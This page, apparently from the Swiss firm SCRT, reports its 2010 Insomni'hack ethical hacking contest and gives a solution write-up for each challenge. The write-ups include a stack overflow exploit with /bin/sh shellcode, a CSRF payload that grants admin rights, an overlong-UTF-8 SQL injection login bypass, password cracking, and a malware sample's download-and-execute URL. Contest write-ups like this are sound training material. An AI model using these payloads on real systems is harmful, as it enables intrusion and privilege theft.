imagelogo
actualite

Concours Insomni'hack : Ethical Hacking contest 2010

bullet Insomni'Hack 10

Le 22 janvier 2010, SCRT a organisé la troisième édition du concours de Ethical Hacking de Suisse romande.

Le concours est maintenant terminé.

Plus d'une centaine de participants se sont affrontés sur différentes épreuves touchant à divers domaines de la sécurité des systèmes d'information.





IMG_0452

IMG_0452

IMG_0452

IMG_0452

IMG_0452


bullet Top 10 participants


results

Solutions

Les soirées de Kevin 1

Description
Un fichier pcap était mis à disposition et le but était de retrouver les authentifiants utilisés par un utilisateur.
Solution
En ouvrant le fichier pcap avec un outil tel que Wireshark, on repère rapidement les tentatives de connexions à un serveur FTP.

L'utilisateur tente une première connexion avec le couple admin/toto, mais le serveur renvoie : "530 Login or password incorrect!". Une seconde tentative avec admin/paswrod123 échoue également. Le serveur répond finalement "230 Logged on" pour le couple admin/password123.

Il fallait donc valider admin/password123.

Les soirées de Kevin 2

Description
Un fichier pcap était mis à disposition avec la description suivante:

"Vendredi soir: soirée de jeux en réseau pour Kevin et ses amis. Kevin profite également de ces soirées pour jouer des tours aux autres participants: Utilisant le module SMB de metasploit et promettant une image au coutenu douteux, il a tenté de cracker le mot de passe de John."
Solution
En regardant la documentation du module auxiliary/server/capture/smb de metasploit, on peut voir que le challenge envoyé par le serveur correspond à "\x11\x22\x33\x44\x55\x66\x77\x88", ce qui nous oriente vers l'utilisation de tables halfLM pour cracker le mot de passe.

Dans le fichier pcap, on trouve la tentative d'authentification de l'utilisateur john. En affichant les détails du protocol dans wireshark, on retrouve le mot de passe qui a été envoyé par l'utilisateur en réponse au challenge.

On utilise alors les 16 premiers caractères de ce mot de passe afin de le cracker avec rcracki pour obtenir "caribou" comme réponse:
$ ./rcracki_mt -h 19f8aee7219e794d ~/local/RTI/halfLM/*.rti

Exploitation 1

Description
Le but de ces challenges était d'exploiter des failles applicatives sous linux sur processeur ia32.

Les participants avaient accès à une machine virtuelle contenant un Linux Debian dans laquelle la randomisation de l'espace d'adressage était désactivée et les binaires étaient compilés sans canary.
Solution
Une fois loggé en tant que level1, on trouve un binaire setuid appartenant à level2.
level1@insomnihack:~$ ls -l
total 12
-r-sr-x--- 1 level2 level1 6667 2009-11-10 11:13 level1
-rw-r--r-- 1 level1 level1    7 2009-11-10 11:32 level1.passwd
Le binaire level1 prend en argument sur la ligne de commande une chaine de caractères. On remarque que le processus segfault si une chaine trop grande lui est passée. En le lançant dans gdb avec un grand nombres de caractères, on obtient:
(gdb) r `python -c 'print "A"*132 + "BBBB"'`
Starting program: /home/level1/level1 `python -c 'print "A"*132 + "BBBB"'`
AA<..>AABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
De là, on en déduit que l'adresse de retour présente dans la pile est réécrite à partir d'au moins 132 caractères. Etant donné que l'environnement du processus peut être contrôlé, une solution simple est de placer le shellcode dans une variable d'environnement et d'obtenir son adresse via la formule suivante:
@shellcode = 0xC0000000 - 4 - (strlen("/home/level1/level1") + 1) - (strlen(<shellcode>) + 1)
En utilisant le shellcode fourni aux participants, on obtient:
@sc = 0xbfffffa3
Il ne reste plus qu'à exploiter le tout...
$ python -c 'import os; os.execve("/home/level1/level1", ["/home/level1/level1",
"A"*132+"\xa3\xff\xff\xbf"], {"PWN" :
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56
\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"})'
sh-3.2$ cat /home/level2/level2.passwd
ZPo3NAlIBuqVc

Exploitation 3

Solution
Comme pour les autres niveaux, un binaire setuid appartenant à level4 est présent dans le répertoire de l'utilisateur level3. Cette fois, même en passant une chaine de caractères longue, le processus ne segfault pas. Il convient de reverser le binaire avec un outil tel qu'objdump afin de comprendre son fonctionnement vu que ltrace ou strace ne donnent pas d'information. La fonction "main" se situe à 0x080485b6 et on localise les arguments à -0xc(%ebp) ainsi que le test sur le nombre d'arguments en 0x80485cd:
 080485b6 <main>:
 80485b6:       8d 4c 24 04             lea    0x4(%esp),%ecx
 80485ba:       83 e4 f0                and    $0xfffffff0,%esp
 80485bd:       ff 71 fc                pushl  -0x4(%ecx)
 80485c0:       55                      push   %ebp
 80485c1:       89 e5                   mov    %esp,%ebp
 80485c3:       51                      push   %ecx
 80485c4:       83 ec 14                sub    $0x14,%esp
 80485c7:       89 4d f4                mov    %ecx,-0xc(%ebp)
 80485ca:       8b 45 f4                mov    -0xc(%ebp),%eax		; eax = &argc
 80485cd:       83 38 02                cmpl   $0x2,(%eax)			; compare argc et 0x2 
 80485d0:       74 21                   je     80485f3 <main+0x3d>
Dans le cas où le bon nombre d'arguments est passé, l'exécution continue en 0x80485f3 (<main+0x3d>):
 80485f3:       8b 4d f4                mov    -0xc(%ebp),%ecx
 80485f6:       8b 41 04                mov    0x4(%ecx),%eax
 80485f9:       83 c0 04                add    $0x4,%eax
 80485fc:       8b 00                   mov    (%eax),%eax			; eax = argv[1]
 80485fe:       83 c0 04                add    $0x4,%eax
 8048601:       0f b6 00                movzbl (%eax),%eax			; eax = argv[1][4]
 8048604:       3c 73                   cmp    $0x73,%al			; compare al et 0x73
Ce bloc d'instructions compare argv[1][4] à 0x73 (s) et si les valeurs sont similaires, l'exécution se poursuit en 0x8048608:
 8048608:       8b 55 f4                mov    -0xc(%ebp),%edx
 804860b:       8b 42 04                mov    0x4(%edx),%eax
 804860e:       83 c0 04                add    $0x4,%eax
 8048611:       8b 10                   mov    (%eax),%edx			; edx = argv[1]
 8048613:       8b 4d f4                mov    -0xc(%ebp),%ecx
 8048616:       8b 41 04                mov    0x4(%ecx),%eax
 8048619:       83 c0 04                add    $0x4,%eax
 804861c:       8b 00                   mov    (%eax),%eax			; eax = argv[1]
 804861e:       83 c0 02                add    $0x2,%eax
 8048621:       0f b6 00                movzbl (%eax),%eax			; eax = argv[1][2]
 8048624:       0f be c0                movsbl %al,%eax
 8048627:       8d 04 02                lea    (%edx,%eax,1),%eax
 804862a:       0f b6 00                movzbl (%eax),%eax			; eax = argv[1][argv[1][2]]
 804862d:       3c 63                   cmp    $0x63,%al			; compare al et 0x63
Ce second bloc compare argv[1][argv[1][2]] à 0x63 (c) et dans le cas où les valeurs sont similaires, la fonction doStuff() est appellée avec comme argument argv[1]+10:
 8048631:       8b 55 f4                mov    -0xc(%ebp),%edx
 8048634:       8b 42 04                mov    0x4(%edx),%eax
 8048637:       83 c0 04                add    $0x4,%eax
 804863a:       8b 00                   mov    (%eax),%eax			; eax = argv[1]
 804863c:       83 c0 0a                add    $0xa,%eax
 804863f:       89 04 24                mov    %eax,(%esp)			; push argv[1]+0xa
 8048642:       e8 7d fe ff ff          call   80484c4 <doStuff>
L'analyse continue alors avec la fonction doStuff. Au début de cette fonction, la chaine de caractères "/home/level4/plop" est copiée dans la pile à partir de -0x48(%ebp):
80484d6:       c7 45 b8 2f 68 6f 6d    movl   $0x6d6f682f,-0x48(%ebp)
80484dd:       c7 45 bc 65 2f 6c 65    movl   $0x656c2f65,-0x44(%ebp)
80484e4:       c7 45 c0 76 65 6c 34    movl   $0x346c6576,-0x40(%ebp)
80484eb:       c7 45 c4 2f 70 6c 6f    movl   $0x6f6c702f,-0x3c(%ebp)
80484f2:       c7 45 c8 70 00 00 00    movl   $0x70,-0x38(%ebp)
En 0x8048534, on peut voir un appel à la fonction strncpy afin de copier 0x3c octets de la chaine passée comme argument à la fonction (0x8(%ebp)) dans un buffer contenu dans la pile (-0x58(%ebp)).
 8048534:       c7 44 24 08 3c 00 00    movl   $0x3c,0x8(%esp)
 804853b:       00
 804853c:       8b 45 08                mov    0x8(%ebp),%eax
 804853f:       89 44 24 04             mov    %eax,0x4(%esp)
 8048543:       8d 45 a8                lea    -0x58(%ebp),%eax
 8048546:       89 04 24                mov    %eax,(%esp)
 8048549:       e8 4a fe ff ff          call   8048398 <strncpy@plt>
On remarquera qu'il nous est alors possible d'écraser la chaine de caractères stockée en -0x48(%ebp). Il se trouve que (par chance) cette chaine correspond au nom du fichier dont le contenu est affiché par level4!
8048556:       8d 45 b8                lea    -0x48(%ebp),%eax
8048559:       89 04 24                mov    %eax,(%esp)
804855c:       e8 67 fe ff ff          call   80483c8 <fopen@plt>
....
En reprenant tous les éléments de cette analyse, on obtient la solution:
$ ./level3 `python -c 'print "aa\x05ascaaaa" + "a"*16 + "/home/level4/level4.passwd"'`
data: ucjcjEWYvFzkA

Puzzle PDF 3

Description
La série d'épreuves sur les PDF consistait à trouver les modifications faites dans des fichiers afin d'obtenir une clef ainsi que le PDF correspond au niveau suivant.
Solution
Le dernier puzzle contenait plusieurs erreurs. La première était qu'il manquait le contenu de deux pages. Il fallait remarquer que les objets 6 et 9 avaient comme parent 2 alors que lui ne les avaient pas dans sa liste de descendants:
2 0 obj
<<
	/Type /Pages
	/Count 3
	/Kids [ 3 0 R ]
>>
endobj

...

6 0 obj
<<
	/Type /Page
	/Parent 2 0 R
	/Resources <<
		/Font <<
			/F1 8 0 R
		>>
	>>
	/Contents 7 0 R
	/MediaBox [ 0 0 795 842 ]
>>
endobj

...

9 0 obj
<<
	/Type /Page
	/Parent 2 0 R
	/Resources <<
		/Font <<
			/F1 11 0 R
		>>
	>>
	/Contents 10 0 R
	/MediaBox [ 0 0 795 842 ]
>>
endobj
Il convenait donc de les rajouter dans la définition de l'objet 2:
2 0 obj
<<
	/Type /Pages
	/Count 3
	/Kids [ 3 0 R 6 0 R 9 0 R ]
>>
endobj
Une fois cette modification faite, 2 pages supplémentaires étaient accessible. Un faux code était présent dans la première de ces pages.

En analysant les définitions des objets, on s'aperçoit que l'objet 10 utilise un filtre spécial: PlatDecode. En se référant à la documentation du format PDF qui était fournie, on voit que ce filtre n'existe pas.
10 0 obj
<<
	/Length 59
	/Filter /PlatDecode
>>stream
Ääİyb çDC0Äd3à√ëÑ,…äï	Ä®…»@(õŒ뮉p*5õ
GL,‘ Jê
endstream
endobj
Le filtre PlatDecode était à remplacer par LZWDecode afin d'obtenir la clef qui permetait de valider l'épreuve.

Pirates de Préverenges

Description
Il s'agit de pirater le site d'une personne en ayant seulement son URL comme point de départ.
Solution
On voit qu'il y a le possibilité de récupérer un mot de passe perdu sur le site. A partir de là, il est possible de trouver que seul l'utilisateur "admin" existe. Il faut alors répondre à la question secrète "Quelle est votre couleur préférée?". Au bout de quelques tentatives on découvre que la réponse est "Violet" qui révèle le mot de passe de l'utilisateur admin : "rata!flupk". Ceci permet d'accéder au site.

Le traître

Description
Les sources d'un blog ont été récupérées et doivent être utilisées afin de récupérer un fichier sur le serveur Web. Ce fichier n'est disponible qu'aux utilisateurs faisant partie du groupe d'administrateurs.
Solution
Il y a une combinaison d'une faille Cross-Site Scripting et Cross-Site Request Forgery qui permettent à l'utilisateur de s'attribuer les droits d'administrateur. Ceci peut être fait par exemple en insérant dans la "Shoutbox" la valeur suivante
			<img src="/admin/ajax/changeStatus.php?user_id=69&level=0"/>
			

Contre-Attaque

Description
On se retrouve devant un paneau d'authentification dont la seule subtilité semble être la possibilité de se connecter avec différentes langues dont le japonais et le chinois.
Solution
Le fait que le site soit disponible en plusieurs langues dont certaines contenant des caractères exotiques devait mettre en question les possiblités d'encodage des caractères du site. On se rend compte alors que le site accepte les caractères en UTF-8, mais également en "overlong" UTF-8. Le site a été mal programmé et décode l'UTF-8 après avoir rajouté les "\" pour échapper la requête SQL. Ceci signifie qu'en encodant les apostrophes en overlong UTF-8, il est possible d'exploiter une triviale injection SQL pour bypasser l'authentification.
			user = admin%c0%a7%20or%20%c0%a7a%c0%a7=%c0%a7a
			

Fin d'Internet

Description
On récupère un binaire au format PE (Windows) qu'il faut analyser pour comprendre son fonctionnement.
Solution
On se rend compte rapidement que la partie exécutable du code est cryptée. La solution la plus simple consiste à lancer le code dans un debugeur et mettre un point d'arrêt à la fin de la routine de décryption pour afficher le code en clair. Suite à cela il faut éviter les quelques protections afin de découvrir la raison d'être de l'exécutable. On y voit surtout qu'il injecte du code dans le processus explorer.exe et lance un RemoteThread. Les appels de fonctions ont également été cryptés, mais il suffit de mettre un nouveau point d'arrêt au niveau de la procédure CreateRemoteThread pour ensuite afficher la mémoire du processus explorer.exe par exemple pour découvrir que le but est de télécharger et d'exécuter un fichier superleet.exe qui se trouve à l'adresse http://66.66.66.66/superleet.exe.

Page Perso de Kobe

Description
On se retrouve devant une animation en flash qui demande de s'authentifier pour accéder à la partie privée.
Solution
On commence par récupérer et décompiler l'animation pour accéder aux sources. On constate que le mot de passe à utiliser et codé en dur.
			if (password_field.text != "lahakers")
			

Shoot the caribou

Description
On se retrouve devant une page contenant un jeu en flash. Le but est de faire un score supérieur à 100 en moins de 10 secondes.
Solution
On commence par récupérer et décompiler l'animation pour accéder aux sources. On constate que les données envoyées à la page de résultat sont chiffrées en RC4 avec la clé "ghtrxwogl". Le texte chiffré est composé du score suivi de l'ID de session. On doit alors récupérer l'ID de session générée sur la page du jeu, chiffrer les données en mettant un score supérieur à 100 et envoyer le tout à la page de résultat.
			var rc4_text = "" + _root.hits + ":" + id_session + "";
            var rc4_key = "ghtrxwogl";
            var rc4_hash = com.meychi.ascrypt.RC4.encrypt(rc4_text, rc4_key);
            getURL("./scores.php?score=" + rc4_hash, "_self");
			

One Time Pad

Description
Le but de l'épreuve est de déchiffrer le contenu du fichier cipher2.txt.
Solution
Le fichier est chiffré à l'aide de l'outil oneTimePad.py (fourni). Ce fichier implémente un algorithme de chiffrement de type masque jetable: cipher = plain XOR keystream. De plus, deux autres fichiers sont fournis - plain1.txt et cipher1.txt - respectivement un message en clair et sa version chiffrée à 'aide du même algorithme.

La solution de l'épreuve repose sur une supposition simple: les deux fichiers ont été chiffrés à l'aide de la même clé. Cette clé peut être obtenue simplement en effectuant un XOR entre plain1.txt et cipher1.txt. Ceci peut d'ailleurs être effectué à l'aide du programme fourni.
			$ python oneTimePad.py -d cipher1.txt plain1.txt keystream.txt
			
Ayant obtenu la clé, il suffit alors d'utiliser le programme afin d'obtenir la solution de l'épreuve: N0_$Cr1Pt-K1dd13!
			$ python oneTimePad.py -d keystream.txt cipher2.txt solution.txt
			$ cat solution.txt
			N0_$Cr1Pt-K1dd13!
			

RSA

Description
Le but de cette épreuve est de déchiffrer le fichier cipher.txt, chiffré à l'aide de l'algorithme RSA. En plus du fichier à déchiffrer, une archive - RSATools.zip - était fournie aux participants. Cette archive contenait deux scripts Python: encTool.py et euclid.py, le premier étant l'outil utilisé pour créer le fichier chiffré et le deuxième étant l'implémentation de l'algorithme d'Euclide.
Solution
Le contenu du fichier à déchiffrer est reproduit ci-dessous.
			$ cat cipher.txt
			# ---------------------- BEGIN RSA HEADER ----------------------
			# MjUxOjU3MjE0ODE2Nw==
			# ----------------------- END RSA HEADER -----------------------
			eJwdy7ERwDAMAsDek6TKGYEsaQcvkT5F9q9iu+MPuN4PbUI9kBY52zOtikT02pBLqdBp1M1T6dxg
			GseIs1pP9AKxgYGA0w9YbszSyvcPIAUX4w==
			
On notera tout d'abord que l'en-tête du fichier correspond au texte "251:572148167" encodé en Base64. La lecture du code source des outils fournis révèle la signification de ces nombres: il s'agit de la clé publique RSA utilisée pour chiffrer le fichier (e = 251, n = 572148167)
			def __header(pub_exp, modulus):
				return """
			# ---------------------- BEGIN RSA HEADER ----------------------
			# %s
			# ----------------------- END RSA HEADER -----------------------
			""" %  b64encode(str(pub_exp) + ':' + str(modulus))
			
Il faut alors noter que le module RSA est extrêmement petit et qu'il peut donc être aisément factorisé. Cette factorisation peut être effectuée à l'aide d'outils mathématiques (pour les participants disposant d'une boîte à outils bien équipée) ou à l'aide d'un simple script (la valeur étant suffisamment petite pour que cette opération ne prenne que quelques secondes sur un ordinateur portable standard).
			$ python dummy_factorization.py 572148167
			(16943, 33769)
			
Ayant obtenu les facteurs de 'n' il est alors possible de calculer la valeur de la clé privée correspondante ('d'), à savoir l'inverse de 'e' modulo (16943-1 * 33769-1). Pour cela, les participants pouvaient s'aider des outils mis à disposition, notamment de l'implémentation de l'algorithme d'Euclide étendu (euclid.py).
			$ python euclid.py 251 `python -c 'print (16943-1)*(33769-1)'`

			[*] GCD(251, 572097456) = 1
			[*] 251 * 34189091 + 572097456 * -15 = 1
			
La clé privée RSA recherchée est donc (d = 34189091, n = 572097456). Il suffit alors d'utiliser l'outil de chiffrement fourni pour déchiffrer le fichier, trouvant ainsi la solution de l'épreuve: FOLLOW-TH3-WH1T3-RABB1T.
			$ python encTool.py -D -d 34189091 -n 572148167 -i cipher.txt -o solution.txt
			$ cat solution.txt 
			FOLLOW-TH3-WH1T3-RABB1T
			

Image

Description
Les participants recevaient une image accompagnée du message "Rien n'est négligeable ... même les plus insignifiant des détails", les laissant ainsi trouver par eux-mêmes le but de l'épreuve.
image
Ce but de l'épreuven était, bien évidemment, de récupérer un message caché dans l'image.
Solution
On peut tout d'abord remarquer que l'image est un fichier BMP. Ce format est non compressé et relativement simple à manipuler (une description détaillée du format BMP faisait partie du pack d'outils mis à disposition des participants). Sans même trop s'intéresser aux détails du format, la simple ouverture du fichier dans un éditeur hexadécimal permet de voir que le contenu de l'image commence à la position 00000036. A partir de cette position chaque pixel de l'image est codé sur 24 bits (3 octets, chacun des octets représentant un des canaux RGB).
			00000000  42 4d 7e ad 0a 00 00 00  00 00 36 00 00 00 28 00  |BM~.......6...(.|
			00000010  00 00 88 01 00 00 53 02  00 00 01 00 18 00 00 00  |......S.........|
			00000020  00 00 48 ad 0a 00 01 00  00 00 01 00 00 00 00 00  |..H.............|
			00000030  00 00 00 00 00 00 fe fe  fe ff ff ff fe fe fe ff  |................|
			00000040  ff ff fe fe fe ff ff ff  ff ff ff ff ff ff fe fe  |................|
			00000050  fe ff ff ff fe fe fe fe  fe fe ff ff ff ff ff ff  |................|
			00000060  ff ff ff ff ff ff fe fe  fe ff ff ff fe fe fe fe  |................|
			00000070  fe fe ff ff ff ff ff ff  ff ff ff fe fe fe fe fe  |................|
			00000080  fe ff ff ff fe fe fe fe  fe fe fe fe fe ff ff ff  |................|
			00000090  fe fe fe fe fe fe fe fe  fe fe fe fe ff ff ff ff  |................|
			000000a0  ff ff fe fe fe fe fe fe  ff ff ff ff ff ff fe fe  |................|
			...
			
L'éditeur hexadécimal permet également de remarquer que les nombreux pixels blancs de l'image ne son pas homogènes. En effet ces pixels devraient être constitués de trois octets de valeur '0xFF' alors que certains de ceux observés dans l'image comprennent des octets de valeur '0xFE'. Ceci laisse donc supposer que certains des pixels ont été altérés, et plus précisément qu'un bit en a été altéré. On note également que les trois canaux ont la même valeur, laissant ainsi supposer que la même altération a été appliquée sur chacun d'eux. Ces observations conduisent logiquement à la conclusion d'une technique stéganographique de type "Least Significant Bit" (ou LSB) a été utilisée pour dissimuler de l'information dans l'image. De plus, la dernière remarque laisse supposer que cette même information a été dissimulée indépendamment dans chacun des trois canaux RGB. On peut donc, sans risque s'intéresser à un seul des canaux (par exemple le premier) et ignorer les deux autres.

Afin de décoder cete information, il était alors attendu des participants qu'ils écrivent un script prenant la valeur du dernier bit de chaque pixel (sur un canal choisi). Ces bits peuvent ensuite être groupés par 8 afin de former des octets qu'il suffit d'interpréter comme des caractères ASCII.
			import binascii
			import sys

			def byteFromBitstring(bitstring):
				return int(bitstring, 2)

			def bitstringFromByte(byte):
				return ''.join([str((byte >> i) & 0x01) for i in range(7, -1, -1)])

			def reveal(image, offset):
				message = ''
				bitstring = ''
				pixel = offset
				while pixel < len(image):
					bit = bitstringFromByte(int(binascii.hexlify(image[pixel]),16))[-1]
					bitstring += bit
					if len(bitstring) > 7:
						message += chr(byteFromBitstring(bitstring))
						bitstring = ''
					pixel += 3
				return message

			if __name__ == '__main__':
			    print reveal(open(sys.argv[1], 'rb').read(), int(sys.argv[2], 16))[10:39]
			
Le script ci-dessus accomplit cette tâche et permet ainsi de récupérer l'information recherchée (répétée tout au long de l'image): W3LCOME_2_H4CK3R'S_WOND3RL4ND.
			$ python lsbreveal.py image.bmp 36
			W3LCOME_2_H4CK3R'S_WOND3RL4ND
			
Actualités
cronertopright
 
cornerbottomleft